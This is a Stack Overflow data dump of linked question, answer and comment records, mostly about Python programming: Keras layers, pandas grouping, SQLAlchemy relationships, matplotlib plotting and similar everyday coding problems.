has comment: http://stackoverflow.com/comment/81697054
has answer: http://stackoverflow.com/a/47366960
has comment: http://stackoverflow.com/comment/81707661
downvote count: 1
has answer: http://stackoverflow.com/a/47368050
has comment: http://stackoverflow.com/comment/81698486
accepted answer: http://stackoverflow.com/a/47368009
has comment: http://stackoverflow.com/comment/81685655
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47368009
answer count: 8
possible better answer: http://stackoverflow.com/a/47366667
has answer: http://stackoverflow.com/a/47366826
has comment: http://stackoverflow.com/comment/81686107
has title: How to use functional programming to iterate and find maximum product of five consecutive numbers in a list?
has answer: http://stackoverflow.com/a/47366667
linked to: http://stackoverflow.com/q/481692
score: 13
tagged with: python
tagged with: lambda
has answer: http://stackoverflow.com/a/47366673
has answer: http://stackoverflow.com/a/47375409

http://stackoverflow.com/comment/81593496
comment on: http://stackoverflow.com/a/47320851
type: Comment
score: 0
type: AnswerComment
has text: @Kes in that case, you will have assign the values to a list, rather than unpack: `values = map(float, re.findall('\d+\.*\d+', s))[-2:]`

http://stackoverflow.com/comment/81613297
type: Comment
has text: I missed the part of grouping. So thought wasn't a good solution.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47331083

http://stackoverflow.com/q/47381300
has comment: http://stackoverflow.com/comment/81716259
tagged with: while-loop
tagged with: if-statement
has comment: http://stackoverflow.com/comment/81716427
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81714994
has comment: http://stackoverflow.com/comment/81716720
tagged with: python
linked to: http://stackoverflow.com/q/16635073
answer count: 0
has title: python while loop implementation
score: 0
has comment: http://stackoverflow.com/comment/81716700
duplicate of: http://stackoverflow.com/q/16635073
has comment: http://stackoverflow.com/comment/81716556
type: Question
has body: I have this piece of code below. What I want is to repeat the raw_input and repeat the if statement if the user prompt the wrong option firewall = raw_input('Please, select IE13PVPNFW01 or IE23PVPNFW01 &gt; ') if firewall == 'IE13PVPNFW01': device = {'IE13PVPNFW01': {'ip': '10.248.40.93'}} elif firewall == 'IE23PVPNFW01': device = {'IE23PVPNFW01': {'ip': '10.42.19.58'}} else: print "Wrong device, options available IE13PVPNFW01 or IE23PVPNFW01" Thanks

http://stackoverflow.com/comment/81734158
comment on: http://stackoverflow.com/a/47348031
has text: I'll check if there is anything obvious that leads to truncation in the REST interfaces of ArangoDB.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81677329
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47358782
has text: @HåkenLid how to do schema migrations?

http://stackoverflow.com/comment/81695639
has text: @DavidLevy Yes, you can and should. Note that I'm not sure how Python's `tp_alloc` and `tp_free` will work with C++'s constructors and destructors. Combining C++ with C code is tricky sometimes.
comment on: http://stackoverflow.com/a/47371388
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47325205
answers question: http://stackoverflow.com/q/47320436
score: 0
has body: I'll just write this here so it doesn't become a really long comment thread - it is indeed a 400 error that's returned. I've posted an imgur url with the response I get. This only happens sometimes - I ran it 4 times, the first 3 times I got a 200 response and everything was fine, the 4th I got a 400 response. Nothing changed, and the loop still stays looping once I get the 400 https://i.sstatic.net/ALjhN.jpg
type: Answer

http://stackoverflow.com/q/47305618
tagged with: python
possible better answer: http://stackoverflow.com/a/76796778
accepted answer: http://stackoverflow.com/a/47309453
tagged with: deep-learning
score: 120
upvote count: 120
has comment: http://stackoverflow.com/comment/81566395
type: AnsweredQuestion
answer count: 2
downvote count: 0
tagged with: neural-network
tagged with: machine-learning
tagged with: keras
favorite count: 0
has answer: http://stackoverflow.com/a/76796778
has comment: http://stackoverflow.com/comment/81591931
type: Question
has comment: http://stackoverflow.com/comment/81609500
has answer: http://stackoverflow.com/a/47309453
has body: I am trying to grasp what TimeDistributed wrapper does in Keras. I get that TimeDistributed "applies a layer to every temporal slice of an input." But I did some experiment and got the results that I cannot understand. In short, in connection to LSTM layer, TimeDistributed and just Dense layer bear same results. model = Sequential() model.add(LSTM(5, input_shape = (10, 20), return_sequences = True)) model.add(TimeDistributed(Dense(1))) print(model.output_shape) model = Sequential() model.add(LSTM(5, input_shape = (10, 20), return_sequences = True)) model.add((Dense(1))) print(model.output_shape) For both models, I got output shape of (None, 10, 1). Can anyone explain the difference between TimeDistributed and Dense layer after an RNN layer?
has title: What is the role of TimeDistributed layer in Keras?

http://stackoverflow.com/comment/81596063
type: Comment
comment on: http://stackoverflow.com/a/47322574
has text: Look into IPC, semaphores, mutexes, etc. It's a fairly wide field, but there are lots of resources available (outside the scope of the question, unfortunately), and should most certainly be doable with a fair degree of precision. You'd likely also need to look at process priorities, etc, if timing is extremely crucial.
type: AnswerComment
score: 1

http://stackoverflow.com/q/47335519
has comment: http://stackoverflow.com/comment/81623426
type: AnsweredQuestion
has body: We're trying to pull some data off of BigQuery using Pandas and running into this absolutely enormous trace about imports. As far as I can tell, all the right dependencies are installed. Traceback (most recent call last): File "&lt;frozen importlib._bootstrap&gt;", line 879, in _find_spec AttributeError: 'PyxImporter' object has no attribute 'find_spec' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "run_forecasts.py", line 117, in &lt;module&gt; run_forecasts() File "run_forecasts.py", line 50, in run_forecasts a.run() File "./budgetforecastmodel/prepare/funnel_entrance.py", line 37, in run self._project_id File "./budgetforecastmodel/prepare/funnel_entrance.py", line 60, in _read_data funnel_entrances = fe_query.run() File "./budgetforecastmodel/extract/bigquery/biq_query_base.py", line 41, in run self.read_data() File "./budgetforecastmodel/extract/bigquery/biq_query_base.py", line 141, in read_data self.df = pd.read_gbq(self.query, self.project_id) File "./venv/lib/python3.6/site-packages/pandas/io/gbq.py", line 100, in read_gbq **kwargs) File "./venv/lib/python3.6/site-packages/pandas_gbq/gbq.py", line 906, in read_gbq dialect=dialect, auth_local_webserver=auth_local_webserver) File "./venv/lib/python3.6/site-packages/pandas_gbq/gbq.py", line 202, in __init__ self.credentials = self.get_credentials() File "./venv/lib/python3.6/site-packages/pandas_gbq/gbq.py", line 214, in get_credentials credentials = self.get_application_default_credentials() File "./venv/lib/python3.6/site-packages/pandas_gbq/gbq.py", line 243, in get_application_default_credentials credentials, _ = google.auth.default(scopes=[self.scope]) File "./venv/lib/python3.6/site-packages/google/auth/_default.py", line 281, in default credentials, project_id = checker() File "./venv/lib/python3.6/site-packages/google/auth/_default.py", line 158, in _get_gae_credentials from google.auth import app_engine File "./venv/lib/python3.6/site-packa…
has comment: http://stackoverflow.com/comment/81622897
tagged with: pandas
has comment: http://stackoverflow.com/comment/81659233
tagged with: python
tagged with: google-bigquery
linked to: http://stackoverflow.com/q/52278122
tagged with: python-3.x
has title: AttributeError: 'PyxImporter' object has no attribute 'find_spec' with Pandas/BigQuery
answer count: 2
score: 2
upvote count: 2
accepted answer: http://stackoverflow.com/a/47450119
has comment: http://stackoverflow.com/comment/81623139
downvote count: 0
possible better answer: http://stackoverflow.com/a/58954308
has answer: http://stackoverflow.com/a/47450119
has answer: http://stackoverflow.com/a/58954308
has comment: http://stackoverflow.com/comment/81658226
favorite count: 0
type: Question

http://stackoverflow.com/q/47292066
has comment: http://stackoverflow.com/comment/81535448
tagged with: python
has body: I am a beginner in Python and i would like to know how to find if there is a numeric value in a string, and if so, to output what i choose. I have tried Regex but it does not let me choose my own Output.
score: 0
has title: simplest way to check if there is any number in a string and if so to output what i want
has comment: http://stackoverflow.com/comment/81534594
upvote count: 1
linked to: http://stackoverflow.com/q/19859282
downvote count: 1
duplicate of: http://stackoverflow.com/q/19859282
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/47331927
has comment: http://stackoverflow.com/comment/81619651
has comment: http://stackoverflow.com/comment/81619682
answers question: http://stackoverflow.com/q/47331846
has comment: http://stackoverflow.com/comment/81619422
has comment: http://stackoverflow.com/comment/81620062
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81619579
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81619757
has comment: http://stackoverflow.com/comment/81619812
has body: If need return all columns: I think you need sort_values + groupby + head: df=df.sort_values(by=["genres","budget"], ascending=[True, False]).groupby("genres").head(5) Or nlargest: df = df.groupby('genres', group_keys=False).apply(lambda x: x.nlargest(5, "budget")) If need retun only genres and budget columns: df = df.groupby('genres')["budget"].nlargest(2).reset_index(level=1, drop=True).reset_index() Samples: df = pd.DataFrame({'A':list('abcdef'), 'B':[4,5,4,5,5,4], 'C':[7,8,9,4,2,3], 'budget':[1,3,5,7,1,0], 'E':[5,3,6,9,2,4], 'genres':list('aaabbb')}) print (df) A B C E budget genres 0 a 4 7 5 1 a 1 b 5 8 3 3 a 2 c 4 9 6 5 a 3 d 5 4 9 7 b 4 e 5 2 2 1 b 5 f 4 3 4 0 b df1=df.sort_values(by=["genres","budget"], ascending=[True, False]).groupby("genres").head(2) df1 = df.groupby('genres', group_keys=False).apply(lambda x: x.nlargest(2, "budget")) print (df1) A B C E budget genres 2 c 4 9 6 5 a 1 b 5 8 3 3 a 3 d 5 4 9 7 b 4 e 5 2 2 1 b df1=df.groupby('genres')["budget"].nlargest(2).reset_index(level=1, drop=True).reset_index() print (df1) genres budget 0 a 5 1 a 3 2 b 7 3 b 1 --- If need top genres with sum of badget per genres: df = pd.DataFrame({'A':list('abcdef'), 'B':[4,5,4,5,5,4], 'C':[7,8,9,4,2,3], 'budget':[1,3,5,7,1,0], 'E':[5,3,6,9,2,4], 'genres':list('aabbcc')}) print (df) A B C E budget genres 0 a 4 7 5 1 a 1 b 5 8 3 3 a 2 c 4 9 6 5 b 3 d 5 4 9 7 b 4 e 5 2 2 1 c 5 f 4 3 4 0 c df = df.groupby('genres')['budget'].sum().nlargest(2) print (df) genres b 12 a 4 Name: budget, dtype: int64 Detail: print (df.groupby('genres')['budget'].sum()) genres a 4 b 12 c 1 Name: budget, dtype: int64
has comment: http://stackoverflow.com/comment/81620331
accepted answer of: http://stackoverflow.com/q/47331846
type: Answer

http://stackoverflow.com/a/47344274
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47344119
upvote count: 1
has comment: http://stackoverflow.com/comment/81641529
has body: There are two method : First method using defaultdict: from collections import defaultdict list1=['PO', 'NA', 'PO'] list2=['Post Office', 'Not Available', 'Post area'] final_dict = defaultdict(list) [final_dict[item[0]].append(item[1]) for item in zip(list1,list2)] print(final_dict) output: defaultdict(&lt;class 'list'&gt;, {'PO': ['Post Office', 'Post area'], 'NA': ['Not Available']}) Second method : Let's solve your issue in two step: First zip the both list: list1=['PO', 'NA', 'PO'] list2=['Post Office', 'Not Available', 'Post area'] zip_list=[item for item in zip(list1,list2)] Now check if zip tuple first element is in dict or not if it is then use this awesome pattern : final_dict={} for item in zip_list: if item[0] not in final_dict: final_dict[item[0]]=[item[1]] else: final_dict[item[0]].append(item[1]) Full code: list1=['PO', 'NA', 'PO'] list2=['Post Office', 'Not Available', 'Post area'] zip_list=[item for item in zip(list1,list2)] final_dict={} for item in zip_list: if item[0] not in final_dict: final_dict[item[0]]=[item[1]] else: final_dict[item[0]].append(item[1]) print(final_dict) output: {'NA': ['Not Available'], 'PO': ['Post Office', 'Post area']}
has comment: http://stackoverflow.com/comment/81641691
answers question: http://stackoverflow.com/q/47344119
score: 1
has comment: http://stackoverflow.com/comment/81640950
type: Answer
has comment: http://stackoverflow.com/comment/81640767
has comment: http://stackoverflow.com/comment/81641001
has comment: http://stackoverflow.com/comment/81640897
type: AcceptedAnswer

http://stackoverflow.com/comment/81480489
type: Comment
has text: Probably all of this is mentioned in the docs (some questions of yours are trivial). Without some more complete code it's also hard to show you code as so much is undefined. And the internals of model might also be important for the optimization itself!
type: QuestionComment
comment on: http://stackoverflow.com/q/47258292
score: 0

http://stackoverflow.com/comment/81400123
type: Comment
type: QuestionComment
score: 0
has text: Cant you check the length of the "newMessageDate" as a string to determine which format to convert to?
comment on: http://stackoverflow.com/q/47225013

http://stackoverflow.com/a/47370641
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47369976
has body: Basically, you want to do the operation (x.T).dot(A).dot(x) for all x that you have. x_0 = np.array([0.6, 1.4])[:, None] x_1 = np.array([2.6, 3.4])[:, None] x = np.hstack((x_0, x_1)) # [[ 0.6 2.6], [ 1.4 3.4]] The easy way to think about it is to do multiplication for all x_i that you have with y as [x_i.dot(y).dot(x_i) for x_i in x.T] &gt;&gt; [8.0, 72.0] But of course this is not too efficient. However, you can do the trick where you can do dot product of x with y first and multiply back with itself and sum over column i.e. you manually do dot product. This will make the calculation much faster: x = x.T (x.dot(y) * x).sum(axis=1) &gt;&gt; array([ 8., 72.]) Note that I transpose the matrix first because we want to multiply column of y to each row of x
score: 1

http://stackoverflow.com/comment/81629453
type: QuestionComment
has text: Iterate over the deque directly, not over the indices, as juanpa.arrivillaga already said.
type: Comment
comment on: http://stackoverflow.com/q/47338547
score: 1

http://stackoverflow.com/q/47309852
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47309888
answer count: 2
possible better answer: http://stackoverflow.com/a/47309990
has title: Removing an item for a list without reducing the total number
upvote count: 3
has comment: http://stackoverflow.com/comment/81569950
downvote count: 0
accepted answer: http://stackoverflow.com/a/47309888
has comment: http://stackoverflow.com/comment/81571059
favorite count: 0
linked to: http://stackoverflow.com/q/1540049
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81570254
has answer: http://stackoverflow.com/a/47309990
tagged with: python
has body: Here we go again. So what I am trying to do is, let's say I have a list like this: List = ['one','two','three'] And they are all assigned to numbers 0,1,2 for example: 'one': 0, 'two': 1, 'three': 2 What I want to do now is I want to remove an item from my list... let's say two List.remove('two') But if I do this, 'three' goes into the place of two and the total amount decreases by one. Is there a way I can remove two, but still keep the total amount of objects in a list, with the ones being removed just being replaced with 'None' or something similar?
duplicate of: http://stackoverflow.com/q/1540049
has comment: http://stackoverflow.com/comment/81569985
type: Question

http://stackoverflow.com/q/47336626
answer count: 1
has body: I am looking to shift values within group, but only for a subset of the groups in the Series. I have something like the following Series: import pandas as pd df=pd.DataFrame() df['Group']=['A','A','A','B','B','B','C','C','C'] df['Month']=[1,2,3,1,2,3,1,2,3] df['Value']=1000,900,800,700,600,500,400,300,200 df=df.set_index(['Group','Month'])['Value'] df Out[101]: Group Month A 1 1000 2 900 3 800 B 1 700 2 600 3 500 C 1 400 2 300 3 200 Name: Value, dtype: int64 I want group A to remain as it is, but groups B and C should have their values shifted up by one. I can do this across all groups (as described in this question as follows: df.groupby(level='Group').transform(lambda x:x.shift(-1)) However, to do this for only a subset of groups, I can't come up with a more elegant way than separating the series and then concatenating back together, as I show below: df_a = df[df.index.get_level_values('Group')=='A'] df_other = df[df.index.get_level_values('Group')&lt;&gt;'A'] pd.concat([df_a,df_other.groupby(level='Group').transform(lambda x:x.shift(-1))]) Out[104]: Group Month A 1 1000.0 2 900.0 3 800.0 B 1 600.0 2 500.0 3 NaN C 1 300.0 2 200.0 3 NaN Name: Value, dtype: float64 Is there a more elegant solution to this?
has answer: http://stackoverflow.com/a/47336666
accepted answer: http://stackoverflow.com/a/47336666
favorite count: 0
linked to: http://stackoverflow.com/q/26280345
score: 2
has title: Pandas Shift values within group for subset of groups
type: AnsweredQuestion
tagged with: pandas
tagged with: python
type: Question
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/47354570
has body: I am making an account code in python and it works but it is really long and I want to know if there is a way to shorten it. Here is my code: user1 = "Jeff" user2 = "Bob" password1 = "Password" password2 = "Lol" username = input("Login: &gt;&gt; ") password = input("Password: &gt;&gt; ") if username == user1: if password == password1: print ("Access granted") print ("Welcome to the system!") home() else: print ("Access denied") print ("Try again!") print ("\n") time.sleep(2) login() elif username == user2: if password == password2: print ("Access granted") print ("Welcome to the system!") home() else: print ("Access denied") print ("Try again!") print ("\n") time.sleep(2) login() else: print ("Access denied") print ("Try again!") print ("\n") time.sleep(2) login() The more accounts I create the longer longer it will get. Is there a way to shorten or simplify this?
has answer: http://stackoverflow.com/a/47354834
tagged with: python-3.x
downvote count: 4
has comment: http://stackoverflow.com/comment/81661637
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47355181
has comment: http://stackoverflow.com/comment/81661614
answer count: 2
has comment: http://stackoverflow.com/comment/81661570
has title: How to simplify an account code?
upvote count: 1
has answer: http://stackoverflow.com/a/47355181
has comment: http://stackoverflow.com/comment/81662855
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47354834
tagged with: python
tagged with: simplify
has comment: http://stackoverflow.com/comment/81661576
score: -3

http://stackoverflow.com/a/47362194
has comment: http://stackoverflow.com/comment/81690944
has comment: http://stackoverflow.com/comment/81698918
answers question: http://stackoverflow.com/q/47361113
has comment: http://stackoverflow.com/comment/81690711
type: Answer
has body: There are no limitations. This is a very fruitful exercise that we all came to realize; writing linear solvers are not that easy and that's why almost always LAPACK or its cousins in other languages are used with full confidence. You are hit by almost singular matrices and because you are using matlab's backslash you don't see that matlab is switching to least squares solutions behind the scenes when near singularity is hit. If you just change A\b to linsolve(A,b) hence you restrict the solver to solve square systems you'll probably see lots of warnings on your console. I didn't test it because I don't have a license anymore but if I write blindly this should show you the condition numbers of the matrices at each step. err_norms = []; range = 1:3:120; for i=1:40 size = range(i); A = rand(size, size); A = tril(A); x_gt = rand(size, 1); b = A * x_gt; x_sol = linsolve(A,b); err_norms = [err_norms, norm(x_gt - x_sol)]; zzz(i) = rcond(A); end semilogy(range, err_norms); figure,semilogy(range,zzz); Note that because you are picking up numbers from a uniform distribution it becomes more and more likely to hit ill-conditioned matrices (wrt to inversion) as the rows have more probability to have rank deficiency. That's why the error becomes bigger and bigger. Sprinkle some identity matrix times a scalar and all errors should come back to eps*n levels. But best, leave this to expert algorithms which have been tested through decades. It is really not that trivial to write any of these. You can read the Fortran codes, for example, dtrsm solves the triangular system. On the Python side, you can use scipy.linalg.solve_triangular which uses ?trtrs routines from LAPACK.
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/47361113
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/q/47361755
has body: I'm super new to Python, and can't figure out how to install packages or modules. I know you can use Pip to easily install them, but none of the commands I've found have done anything but give me errors. Any help would be appreciated.
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2
answer count: 1
has title: How do I install packages/modules for Python 3.6?
has comment: http://stackoverflow.com/comment/81676484
tagged with: python
has answer: http://stackoverflow.com/a/47361781
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/92178963
has text: You are right, this is more or less the solution I adopted a few months ago (this question is pretty old now ;)). But I think you gave the wrong command. It is `pipenv lock` instead of `pip` right ?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/52614512
type: AnswerComment

http://stackoverflow.com/q/47319398
has answer: http://stackoverflow.com/a/47320883
has comment: http://stackoverflow.com/comment/81590150
answer count: 1
has comment: http://stackoverflow.com/comment/81590092
type: Question
has body: I am not able to play video on my Django website. I think something is wrong in my views.py render function videoplay.html: {% block contents %} &lt;video name='demo' controls autoplay width='50%' height='40%'&gt; &lt;source src="{{STATIC_URL}}sample1.mp4" type="video/mp4"&gt;&lt;/source&gt; &lt;/video&gt; {% endblock %} Included this in settings.py: STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') MEDIA_URL = '/media/' MEDIA_ROOT = os.path.join(BASE_DIR, 'media')` Views.py is: from django.shortcuts import render, redirect from django.conf import settings from django.core.files.storage import FileSystemStorage from django.views.generic.base import TemplateView from uploads.core.models import Document from uploads.core.forms import DocumentForm def index(request): return render(request, "core/videoplay.html")` I am getting a play button and streaming line on my website
score: 3
has title: Playing uploaded video with Django
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/81590205
has comment: http://stackoverflow.com/comment/81590617
type: AnsweredQuestion
upvote count: 3
accepted answer: http://stackoverflow.com/a/47320883
downvote count: 0
tagged with: django

http://stackoverflow.com/q/47282229
downvote count: 0
has title: Tensorflow: Inspecting Hash buckets for Categorical and Feature Columns
score: 4
has body: I am fitting Linear Classifier for pretty wide and sparse data using number of Categorical Columns with hash bucket and Crossed Feature Columns as Feature Columns. Later I want to use the weights/coefficients of the model in a custom serving infrastructure. I know how to extract the weights from the model, but obviously, for aforementioned columns, they come for an already hashed feature values. I can reconstruct a Hashtable (value -> hashed value) for a simple categorical columns using tf.string_to_hash_bucket_fast, but I am getting trouble doing that for Crossed Feature Columns. For a pair of values of two categorical columns building up a Crossed Column - how can I understand which bucket they will get into?
tagged with: tensorflow
accepted answer: http://stackoverflow.com/a/47354443
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47354443
has comment: http://stackoverflow.com/comment/81660668
tagged with: python
favorite count: 0
type: Question
upvote count: 4
answer count: 1

http://stackoverflow.com/comment/81628410
has text: Could you explain a bit how this works? I just have basic experience with pandas. Does this account for the fact that there might be a small increase in the middle of an decline?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47331851

http://stackoverflow.com/comment/81722114
comment on: http://stackoverflow.com/q/47382198
has text: Can you share your code trial?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81430327
comment on: http://stackoverflow.com/a/47239563
type: Comment
has text: Thanks. Finally, I can't find mark as answer button?
score: 0
type: AnswerComment

http://stackoverflow.com/q/47296287
has title: Boost Python: Error when passing variable by reference in a function
tagged with: boost-python
score: 0
has body: I would like to understand why the following function does not work in python: #include&lt;boost/python.hpp&gt; #include&lt;iostream&gt; #include&lt;string&gt; void hello(std::string&amp; s) { std::cout &lt;&lt; s &lt;&lt; std::endl; } BOOST_PYTHON_MODULE(test) { boost::python::def("hello", hello); } When I import library into python import test test.hello('John') I get an error: test.hello(str) did not match C++ signature: hello(std::__cxx11::basic_string&lt;char, std::char_traits&lt;char&gt;, std::allocator&lt;char&gt; &gt; {lvalue}) Everything works with just 'std::string s', but I would like to the object by reference without copying it. I noticed that the error pops up for any other function with references like e.g. int&amp;.
has comment: http://stackoverflow.com/comment/81544003
answer count: 1
has answer: http://stackoverflow.com/a/53078586
has comment: http://stackoverflow.com/comment/81544052
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: c++

http://stackoverflow.com/comment/81629379
has text: Works for me! Thanks.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47269269

http://stackoverflow.com/a/61812806
score: 1
type: Answer
has body: For me what worked are these steps: import sys !{sys.executable} -m pip install spacy !{sys.executable} -m spacy download en I run these steps at my spyder console (installed through anaconda)
answers question: http://stackoverflow.com/q/47295316
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47306052
score: 2
upvote count: 2
has body: To get a nice time format on the xaxis, the idea could be to calculate the histogram in terms of numbers which can be interpreted as datetimes. In case you only have times, you would not mind too much about the actual date. So dividing the data by 24 gives fraction of a day. Since matplotlib interpretes numbers as days since 0001-01-01 UTC, plus 1, one then needs to add some whole number >=2 not to run into trouble with negative dates. Then usual matplotlib.dates locators and formatters can be used to get nice ticklabels. "%I:%M %p" would give the time representation in hours by 12 with am/pm appendix. import numpy as np; np.random.seed(3) import matplotlib.pyplot as plt import matplotlib.dates data = np.random.normal(12,7, size=200) data = data[(data >=0) & (data <24)] f = lambda x: 2+x/24. bins=np.arange(25) plt.hist(f(data), bins=f(bins)) plt.gca().xaxis.set_major_locator(matplotlib.dates.HourLocator()) plt.gca().xaxis.set_major_formatter(matplotlib.dates.DateFormatter("%I:%M %p")) plt.setp(plt.gca().get_xticklabels(),rotation=90) plt.tight_layout() plt.show() (This would hence be the histogram of datetimes of the 2nd of january 0001.)
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47296897

http://stackoverflow.com/comment/81656417
type: Comment
has text: So, i don't need to write string when i will convert my code in python?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47351681

http://stackoverflow.com/comment/81547337
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47297700
has text: Also this is not proper syntax `event.key == pygame.K_UP or pygame.K_DOWN` ... I think you mean: `event.key == pygame.K_UP or vent.key == pygame.K_DOWN`
score: 0

http://stackoverflow.com/a/47235484
type: Answer
accepted answer of: http://stackoverflow.com/q/47234958
upvote count: 6
answers question: http://stackoverflow.com/q/47234958
has comment: http://stackoverflow.com/comment/81452261
has body: There's a very efficient way to do this. The set of all combinations of a given set is known as the power set, the set of all subsets of the given set. If the set S contains m items, then there are 2**m possible combinations in total, including the empty set and S itself. So to randomly select a combination from the power set of S we just need to choose a random number n from range(2**m) as an index into the power set and then generate the combination corresponding to n. We can convert the index number n into a combination by looking at the binary expansion of n. There are m bits in n. We pair up those bits with the items in S. If a given bit is 1 then that item is selected for our combination, if it's a 0, we reject that item. Here's a short demo. from random import seed, randrange seed(42) def indexed_combination(seq, n): result = [] for u in seq: if n &amp; 1: result.append(u) n &gt;&gt;= 1 if not n: break return result print('Testing indexed_combination') seq = 'abc' for i in range(1 &lt;&lt; len(seq)): print(i, ''.join(indexed_combination(seq, i))) print() def random_combination(seq): n = randrange(1 &lt;&lt; len(seq)) return indexed_combination(seq, n) print('Testing random_combination') seq = 'abcdefghij' for i in range(20): print(i, random_combination(seq)) output Testing indexed_combination 0 1 a 2 b 3 ab 4 c 5 ac 6 bc 7 abc Testing random_combination 0 ['c', 'f', 'g', 'h'] 1 ['a', 'b', 'e', 'f'] 2 ['a', 'b', 'e', 'f', 'j'] 3 ['a', 'c', 'e', 'f', 'g', 'h', 'i'] 4 ['a', 'd', 'g', 'h', 'i'] 5 ['a', 'c', 'd', 'e', 'i'] 6 ['a', 'e', 'g', 'h'] 7 ['b', 'e', 'f', 'h'] 8 ['f', 'g', 'i', 'j'] 9 ['a', 'g'] 10 ['a', 'c', 'd', 'e', 'f'] 11 ['a', 'b', 'c', 'd', 'e', 'f', 'h'] 12 ['a', 'b', 'c', 'd', 'e', 'f', 'h', 'i'] 13 ['c', 'd', 'e', 'g', 'h', 'i'] 14 ['b', 'c', 'e', 'f'] 15 ['a', 'b', 'c', 'e', 'h', 'i'] 16 ['a', 'b', 'd', 'e', 'g', 'i', 'j'] 17 ['a', 'b', 'g', 'h', 'i'] 18 ['a', 'b', 'c', 'e', 'h', 'i', 'j'] 19 ['a', 'd', 'e', 'f', 'j'] I call the random seed func…
type: AcceptedAnswer
downvote count: 0
score: 6

http://stackoverflow.com/comment/81452437
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47248459
type: Comment
has text: The old-style signal and slot syntax isn't supported in pyqt5. Use `self.pushButton_5.clicked.connect(self.mySlotFunction)`.

http://stackoverflow.com/a/47306086
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47281843
answers question: http://stackoverflow.com/q/47281843
type: Answer
has body: It seems as if all pdfs are encrypted in some way. Using the solution cited in this issue #53 in PyPDF2's github repository, I used the following command to generate another pdf ( The Decrypted version of the original pdf ) - qpdf --password= --decrypt input.pdf output.pdf and then reading output.pdf worked for me. I am not sure as to how I can determine beforehand, whether a pdf is encrypted ( or in this particular state ) or not. But this solution temporarily solves the problem.
downvote count: 0

http://stackoverflow.com/a/47298597
has body: y = monthly[monthly.columns[:3]].resample('Q').sum() fig, ax = plt.subplots(figsize=(12,5)) y.plot(ax=ax,kind='bar',stacked=True) ax.xaxis.set_ticklabels(y.index.to_period('Q'))
answers question: http://stackoverflow.com/q/47298022
score: 0
upvote count: 1
downvote count: 1
type: Answer

http://stackoverflow.com/comment/81600546
type: QuestionComment
has text: @KenY-N The marked dupe is the wrong one, the question is about strings not integers; your linked one is better
comment on: http://stackoverflow.com/q/47324767
score: 1
type: Comment

http://stackoverflow.com/q/47327410
answer count: 1
downvote count: 0
has body: I've been playing with SQL Alchemy for a couple of months now and so far been really impressed with it. There is one issue I've run into now that seems to be a bug, but I'm not sure that I'm doing the right thing. We use MS SQL here, with table reflection to define the table classes, however I can replicate the problem using an in-memory SQLite database, code for which I have included here. What I am doing is defining a many to many relationship between two tables using a linking table between them. There is one extra piece of information that the linking table contains which I want to use for filtering the links, requiring the use of a primaryjoin statement on the relationship. This works perfectly for lazy loading, however for performance reasons we need eager loading and thats where it all falls over. If I define the relationship with lazy loading: activefunds = relationship('Fund', secondary='fundbenchmarklink', primaryjoin='and_(FundBenchmarkLink.isactive==True,' 'Benchmark.id==FundBenchmarkLink.benchmarkid,' 'Fund.id==FundBenchmarkLink.fundid)') and query the DB normally: query = session.query(Benchmark) The behaviour I need is exactly what I want, though performance is really bad, due to the extra SQL queries when iterating through all of the benchmarks and their respective funds. If I define the relationship with eager loading: activefunds = relationship('Fund', secondary='fundbenchmarklink', primaryjoin='and_(FundBenchmarkLink.isactive==True,' 'Benchmark.id==FundBenchmarkLink.benchmarkid,' 'Fund.id==FundBenchmarkLink.fundid)', lazy='joined') and query the DB normally: query = session.query(Benchmark) it blows up in my face: sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such column: fund.id [SQL: 'SELECT benchmark.id AS benchmark_id, benchmark.name AS benchmark_name, fund_1.id AS fund_1_id, fund_1.name AS fund_1_name, fund_2.id AS fund_2_id, fund_2.name AS fund_2_name FROM benchmark LEFT OUTER JOIN (fundbenchmarklink AS fundbenchmarklink_1 J…
favorite count: 0
type: Question
tagged with: sql-server
accepted answer: http://stackoverflow.com/a/47327764
has comment: http://stackoverflow.com/comment/81606450
tagged with: database
has answer: http://stackoverflow.com/a/47327764
tagged with: python
score: 4
tagged with: sqlalchemy
upvote count: 4
type: AnsweredQuestion
has title: SQLAlchemy relationship with secondary table joining behaviour changes between lazy and eager loading
tagged with: sqlite

http://stackoverflow.com/comment/81525985
comment on: http://stackoverflow.com/q/47287014
type: Comment
has text: There may be other options, depending on the nature of your colormap. Eg if the original values were mapped to hues that's pretty easy to invert.
type: QuestionComment
score: 0

